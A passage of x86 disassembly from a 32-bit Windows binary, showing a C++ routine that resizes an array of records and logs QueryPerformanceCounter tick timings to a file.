mov byte [esp + 0x190], 0x6c
dec edi
mov dword [esp + 0x74], esi
jne 0x59019d8b
mov eax, dword [esp + 0x30]
inc eax
mov dword [0x59195878], eax
mov dword [0x59195874], eax
jmp 0x5901a02d
mov esi, dword [0x59195878]
cmp ebp, esi
jg 0x59019f22
cmp ecx, ebp
jge 0x59019ea0
mov esi, ebp
xor eax, eax
sub esi, ecx
lea ecx, [ecx + ecx*8]
lea edx, [edx + ecx*8]
lea ecx, [esi + esi*8]
shl ecx, 3
mov ebp, ecx
mov edi, edx
shr ecx, 2
mov dword [esp + 0x74], edx
rep stosd dword es:[edi], eax
mov ecx, ebp
and ecx, 3
rep stosb byte es:[edi], al
mov eax, esi
dec esi
test eax, eax
je 0x59019f13
lea ecx, [esi + 1]
mov eax, edx
mov dword [esp + 0x80], eax
test edx, edx
mov byte [esp + 0x190], 0x73
je 0x59019e7f
mov esi, dword [0x5914f850]
mov dword [edx + 0x1c], esi
mov esi, dword [0x5914f850]
mov byte [esp + 0x190], 0x74
mov dword [eax + 0x20], esi
mov esi, dword [0x5914f850]
mov byte [esp + 0x190], 0x75
mov dword [eax + 0x24], esi
mov esi, dword [0x5914f84c]
mov byte [esp + 0x190], 0x76
mov dword [eax + 0x2c], esi
mov esi, dword [0x5914f850]
mov byte [esp + 0x190], 0x77
mov dword [eax + 0x44], esi
mov byte [esp + 0x190], 0x73
add edx, 0x48
mov byte [esp + 0x190], 0x6c
dec ecx
mov dword [esp + 0x74], edx
jne 0x59019e15
mov eax, dword [esp + 0x30]
inc eax
mov dword [0x59195874], eax
jmp 0x5901a02d
jle 0x59019f13
lea eax, [ebp + ebp*8]
sub ecx, ebp
lea esi, [edx + eax*8]
mov edx, ecx
dec ecx
mov dword [esp + 0x74], esi
test edx, edx
je 0x59019f13
lea edi, [ecx + 1]
lea ecx, [esi + 0x44]
mov byte [esp + 0x190], 0x7c
call fcn.5909a410
lea ecx, [esi + 0x2c]
mov byte [esp + 0x190], 0x7b
call fcn.59095090
lea ecx, [esi + 0x24]
mov byte [esp + 0x190], 0x7a
call fcn.5909a410
lea ecx, [esi + 0x20]
mov byte [esp + 0x190], 0x79
call fcn.5909a410
lea ecx, [esi + 0x1c]
mov byte [esp + 0x190], 0x6c
call fcn.5909a410
add esi, 0x48
dec edi
mov dword [esp + 0x74], esi
jne 0x59019eb9
mov eax, dword [esp + 0x30]
inc eax
mov dword [0x59195874], eax
jmp 0x5901a02d
mov eax, dword [0x5919587c]
cmp eax, edi
jne 0x59019f4e
mov eax, ecx
cdq
and edx, 7
add eax, edx
sar eax, 3
cmp eax, 4
jge 0x59019f42
mov eax, 4
jmp 0x59019f4e
cmp eax, 0x400
jle 0x59019f4e
mov eax, 0x400
add eax, esi
cmp ebp, eax
mov dword [esp + 0x7c], eax
jl 0x59019f5c
mov dword [esp + 0x7c], ebp
mov eax, dword [esp + 0x7c]
lea ecx, [eax + eax*8]
shl ecx, 3
push ecx
call fcn.5912c500
mov ecx, dword [0x59195874]
mov esi, dword [0x59195870]
mov edi, eax
mov dword [esp + 0x84], eax
lea ecx, [ecx + ecx*8]
add esp, 4
shl ecx, 3
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [0x59195874]
sub edx, ecx
lea ecx, [ecx + ecx*8]
lea esi, [eax + ecx*8]
lea ecx, [edx + edx*8]
shl ecx, 3
mov ebp, ecx
xor eax, eax
mov edi, esi
mov dword [esp + 0x74], esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, ebp
and ecx, 3
rep stosb byte es:[edi], al
mov eax, edx
dec edx
test eax, eax
je 0x59019ffa
lea edi, [edx + 1]
mov dword [esp + 0x128], esi
test esi, esi
mov byte [esp + 0x190], 0x7e
je 0x59019fe8
mov ecx, esi
call fcn.590130e0
add esi, 0x48
mov byte [esp + 0x190], 0x6c
dec edi
mov dword [esp + 0x74], esi
jne 0x59019fce
mov ecx, dword [0x59195870]
push ecx
call fcn.5912c529
mov eax, dword [esp + 0x34]
mov edx, dword [esp + 0x84]
mov ecx, dword [esp + 0x80]
add esp, 4
inc eax
mov dword [0x59195870], edx
mov dword [0x59195874], eax
mov dword [0x59195878], ecx
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0xc8]
lea esi, [esp + 0xcc]
lea edx, [eax + eax*8]
mov eax, dword [0x59195870]
lea ebp, [eax + edx*8]
lea edx, [esp + 0xe4]
push edx
mov dword [ebp], ecx
lea edi, [ebp + 4]
mov ecx, 6
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp + 0x1c]
call fcn.5909a5a0
lea eax, [esp + 0xe8]
lea ecx, [ebp + 0x20]
push eax
call fcn.5909a5a0
lea ecx, [esp + 0xec]
push ecx
lea ecx, [ebp + 0x24]
call fcn.5909a5a0
mov edx, dword [esp + 0xf0]
lea eax, [esp + 0xf4]
push eax
lea ecx, [ebp + 0x2c]
mov dword [ebp + 0x28], edx
call fcn.59095210
mov ecx, dword [esp + 0xf8]
lea edx, [ebp + 0x34]
mov dword [ebp + 0x30], ecx
mov eax, dword [esp + 0xfc]
mov dword [edx], eax
mov ecx, dword [esp + 0x100]
mov dword [edx + 4], ecx
mov eax, dword [esp + 0x104]
mov dword [edx + 8], eax
mov ecx, dword [esp + 0x108]
mov dword [edx + 0xc], ecx
lea edx, [esp + 0x10c]
push edx
lea ecx, [ebp + 0x44]
call fcn.5909a5a0
lea ecx, [esp + 0x70]
mov byte [esp + 0x190], 0x6a
call fcn.59095090
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 0x68
call fcn.5909a410
lea ecx, [esp + 0x24]
mov byte [esp + 0x190], 0x64
call fcn.5909a410
lea ecx, [esp + 0xa0]
mov byte [esp + 0x190], 0x63
call fcn.5909a410
lea ecx, [esp + 0x90]
mov byte [esp + 0x190], 0x62
call fcn.5909a410
lea ecx, [esp + 0x10c]
mov byte [esp + 0x190], 0x82
call fcn.5909a410
lea ecx, [esp + 0xf4]
mov byte [esp + 0x190], 0x81
call fcn.59095090
lea ecx, [esp + 0xec]
mov byte [esp + 0x190], 0x80
call fcn.5909a410
lea ecx, [esp + 0xe8]
mov byte [esp + 0x190], 0x7f
call fcn.5909a410
lea ecx, [esp + 0xe4]
mov byte [esp + 0x190], 0x5b
call fcn.5909a410
mov eax, dword [esp + 0xb8]
inc ebx
cmp ebx, eax
jl 0x590199c1
jmp 0x5901a45a
lea ecx, [esp + 0xb4]
call fcn.5901a5d0
test eax, eax
jne 0x5901a3e2
test edi, edi
je 0x5901a3e2
lea ecx, [esp + 0xc8]
call fcn.5901a5e0
mov bl, 0x84
mov byte [esp + 0x190], bl
mov eax, dword [edi]
mov dword [esp + 0xcc], eax
mov ecx, dword [edi + 4]
mov dword [esp + 0xd0], ecx
mov edx, dword [edi + 8]
mov dword [esp + 0xd4], edx
mov eax, dword [edi + 0xc]
lea ecx, [esp + 0xdc]
mov dword [esp + 0xd8], eax
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov edx, dword [esp + 0x1a0]
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0xec]
mov dword [esp + 0xcc], edx
call fcn.5909a5a0
lea ecx, [esp + 0x48]
push ecx
lea ecx, [esp + 0xf4]
call fcn.5909a5a0
lea edx, [esp + 0x40]
lea ecx, [esp + 0xf4]
push edx
call fcn.5909a5a0
lea eax, [esp + 0x3c]
lea ecx, [esp + 0xf8]
push eax
call fcn.5909a5a0
lea ecx, [esp + 0x2c]
push ecx
lea ecx, [esp + 0xf0]
call fcn.5909a5a0
lea edx, [esp + 0x28]
lea ecx, [esp + 0xfc]
push edx
call fcn.5909a5a0
lea eax, [esp + 0x9c]
lea ecx, [esp + 0x100]
push eax
call fcn.5909a5a0
lea ecx, [esp + 0x8c]
push ecx
lea ecx, [esp + 0xe8]
call fcn.5909a5a0
lea edx, [esp + 0x34]
push 0x59173ec8
push edx
call fcn.59050110
add esp, 8
push eax
lea ecx, [esp + 0x108]
mov byte [esp + 0x194], 0x85
call fcn.59095210
lea ecx, [esp + 0x34]
mov byte [esp + 0x190], bl
call fcn.59095090
push 0x180
push 0x8101
lea ecx, [esp + 0x10c]
call fcn.5901a5c0
push eax
call fcn.5907d46d
add esp, 0xc
lea ecx, [esp + 0x30]
mov esi, eax
call fcn.59006cf0
cmp esi, 0xffffffff
mov byte [esp + 0x190], 0x86
je 0x5901a391
mov eax, dword [esp + 0x98]
push eax
push ebp
push esi
call fcn.5907d27d
mov ecx, dword [esp + 0xec]
mov edx, dword [esp + 0xe8]
mov eax, dword [edi + 0xc]
add esp, 0xc
push ecx
mov ecx, dword [edi + 8]
push edx
mov edx, dword [edi + 4]
push eax
mov eax, dword [edi]
push ecx
push edx
push eax
lea ecx, [esp + 0x48]
push str._r_n_r_nliTickBegin:_I64u__liTickEnd:_I64u__liTickRecord:_I64u
push ecx
call fcn.59097ef0
add esp, 0x20
lea ecx, [esp + 0x30]
call fcn.5901a5b0
push eax
push 0
lea ecx, [esp + 0x38]
call fcn.59095d20
push eax
push esi
call fcn.5907d27d
push esi
call fcn.5907d19d
add esp, 0x10
lea ecx, [esp + 0x30]
call fcn.5901a5b0
mov ecx, dword [esp + 0x98]
lea edx, [esp + 0xc8]
add eax, ecx
push edx
mov ecx, 0x59195880
mov dword [esp + 0x10c], eax
call fcn.59056240
lea ecx, [esp + 0x30]
mov byte [esp + 0x190], bl
call fcn.59095090
lea ecx, [esp + 0xc8]
mov byte [esp + 0x190], 0x5b
call fcn.59012170
jmp 0x5901a45a
mov eax, dword [esp + 0x80]
test eax, eax
je 0x5901a40b
lea ecx, [esp + 0xb4]
call fcn.5901a5d0
test eax, eax
je 0x5901a45a
push str.________________Save_____________
lea ecx, [esp + 0x2c]
call fcn.5909a690
lea eax, [esp + 0x134]
lea ecx, [esp + 0x148]
push eax
lea edx, [esp + 0xb8]
push ecx
lea eax, [esp + 0xa4]
push edx
lea ecx, [esp + 0x34]
push eax
lea edx, [esp + 0x3c]
push ecx
lea eax, [esp + 0x50]
push edx
lea ecx, [esp + 0x58]
push eax
lea edx, [esp + 0x64]
push ecx
mov ecx, dword [esp + 0xb8]
lea eax, [esp + 0x40]
push edx
push eax
push ecx
push ebp
call fcn.5901fd50
add esp, 0x30
lea ecx, [esp + 0x8c]
mov byte [esp + 0x190], 0x5a
call fcn.5909a410
lea ecx, [esp + 0x9c]
mov byte [esp + 0x190], 0x23
call fcn.5909a410
lea ecx, [esp + 0x134]
mov byte [esp + 0x190], 0x22
call fcn.590a6460
lea ecx, [esp + 0x148]
mov byte [esp + 0x190], 0x21
call fcn.5909fda0
lea ecx, [esp + 0xb4]
mov byte [esp + 0x190], 0x20
call fcn.5909fda0
lea ecx, [esp + 0x2c]
mov byte [esp + 0x190], 0x1f
call fcn.5909a410
lea ecx, [esp + 0x3c]
mov byte [esp + 0x190], 0x1e
call fcn.5909a410
lea ecx, [esp + 0x40]
mov byte [esp + 0x190], 0x1d
call fcn.5909a410
lea ecx, [esp + 0x48]
mov byte [esp + 0x190], 0x1c
call fcn.5909a410
lea ecx, [esp + 0x28]
mov byte [esp + 0x190], 0x1b
call fcn.5909a410
lea ecx, [esp + 0x6c]
mov byte [esp + 0x190], 0x1a
call fcn.5909a410
lea ecx, [esp + 0x38]
mov byte [esp + 0x190], 0x13
call fcn.5909a410
lea ecx, [esp + 0x50]
mov byte [esp + 0x190], 0xf
call fcn.5909a410
lea ecx, [esp + 0x58]
mov byte [esp + 0x190], 0xe
call fcn.5909a410
lea ecx, [esp + 0x5c]
mov byte [esp + 0x190], 4
call fcn.5909a410
lea ecx, [esp + 0x60]
mov byte [esp + 0x190], 0
call fcn.5909a410
lea ecx, [esp + 0x20]
mov dword [esp + 0x190], 0xffffffff
call fcn.5909a410
mov ecx, dword [esp + 0x188]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x184
ret